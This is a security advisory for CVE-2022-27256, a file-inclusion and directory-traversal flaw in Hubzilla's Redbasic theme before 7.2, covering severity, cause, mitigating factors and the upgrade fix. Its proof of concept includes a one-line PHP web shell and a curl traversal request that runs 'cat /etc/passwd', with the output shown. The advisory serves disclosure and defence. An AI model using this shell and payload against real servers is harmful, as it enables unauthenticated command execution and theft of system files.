A PHP Local File inclusion vulnerability in the Redbasic theme for Hubzilla before version 7.2 allows remote attackers to include arbitrary php files via the schema parameter.
CVE: CVE-2022-27256Severity: 8.3 (High)
CVSSv3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Vulnerable application: Hubzilla
Component: Redbasic (default/builtin theme)
Vulnerable versions: Any version before 7.2
Fixed in: version 7.2
The RedBasic theme in Hubzilla versions before version 7.2 does not validate the
$_REQUEST['schema'] argument before using it in a
require_once call, leading to a Local File Inclusion (LFI) vulnerability. Further it does not check the filename for directory separators or other special chars, leading to a directory traversal vulnerability.
This allows an attacker to directly run PHP code from any known location in the file system where the web server process has read access. This includes files in the Hubzilla source three that would otherwise be protected by the default server configuration that redirects all requests to pass through the Hubzilla routing logic.
Proof of concept
Given a file
shell.php somewhere in the server file system:
<?php system($_REQUEST['cmd']); ?>
Any command can be executed by a remote, unauthenticated attacker, like this:
$ curl -s 'https://example.com/view/theme/redbasic/php/style.pcss?f=&puid=2&schema=../../../../shell&v=7.1.6&cmd=cat%20/etc/passwd'|head
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
Mitigating factors
As Hubzilla will rename uploaded files to a GUID, it's not trivially possible to upload a malicious file to be exploited by this weakness by itself. It requires another way to upload the malicious file, or by finding an existing file that is exploitable within or outside of the Hubzilla directory tree.
Remediation
It is recommended to upgrade to version 7.2 or later, where this vulnerability has been fixed.
Credits
This issue was
originally reported and fixed by Harald Eilertsen.
#
security #
cve #
hubzilla #
redbasic